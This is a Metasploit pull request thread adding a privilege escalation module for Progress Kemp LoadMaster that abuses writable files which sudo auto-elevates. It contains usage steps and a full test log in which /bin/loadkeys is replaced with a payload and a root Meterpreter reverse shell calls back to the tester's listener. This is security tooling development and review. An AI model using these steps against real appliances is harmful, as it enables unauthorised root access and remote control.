Add Kemp Progress Loadmaster sudo abuse priv esc

[bwatters-r7]

This adds a privilege escalation module targeting Progress Kemp LoadMaster versions including 7.2.59.2.22338. The vulnerability lies in the configuration to allow sudo to auto elevate when run with certain files, but grants the non-root user bal write permissions to those file. This exploit simply overwrites one of the files that auto-elevates with /bin/bash and runs a payload within a root-enabled /bin/bash session.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Gain a session on a Progress Kemp Loadmaster target as the bal user
• Do: use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024
• Do: set SESSION <session>
• Do: set LHOST <your host IP>
• Do: run
• You should get a shell as the root user.

Note

The easiest way to test this is in conjunction with #18972, which this was a part of until we realized that when they patched CVE-2024-1212, they did not patch this.

[bwatters-r7]

All suggestions on #19150 should be addressed here, too....

[smcintyre-r7]

Just left a couple of minor comments. I tested both the dropper and command targets successfully.

[smcintyre-r7]

Changes are looking good now, I'll go ahead and get this landed.

Testing Output

metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options 

Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   SESSION        -1               yes       The session to run this module on
   TARGET_BINARY  /bin/loadkeys    yes       The path for a binary file that has permission to auto-elevate.
   WRITABLE_DIR   /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.31.129   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Dropper



View the full module info with the info, or info -d command.

metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE 
VERBOSE => false
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE true
VERBOSE => true
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run

[*] Started reverse TCP handler on 192.168.31.129:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 3 indicators this is a KEMP product
[!] The service is running, but could not be validated.
[*] Writing payload to /tmp/.ihcqxrugkuq
[*] Moving /bin/loadkeys to /tmp/.kfoikqlxhta
[*] Moving /tmp/.ihcqxrugkuq to /bin/loadkeys
[*] Running /bin/loadkeys
[+] Deleted /tmp/.ihcqxrugkuq
[*] Meterpreter session 2 opened (192.168.31.129:4444 -> 192.168.31.135:43420) at 2024-05-10 10:19:37 -0400
[*] Moving /tmp/.kfoikqlxhta to /bin/loadkeys
[+] /bin/loadkeys returned to original contents

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.31.135
OS           : SuSE 7.2 (Linux 4.14.137)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/
meterpreter > 

[smcintyre-r7]

Release Notes

This adds a privilege escalation exploit module for LoadMaster that abuses the configuration of the sudo command combined with weak file system permissions. There is no CVE for this vulnerability.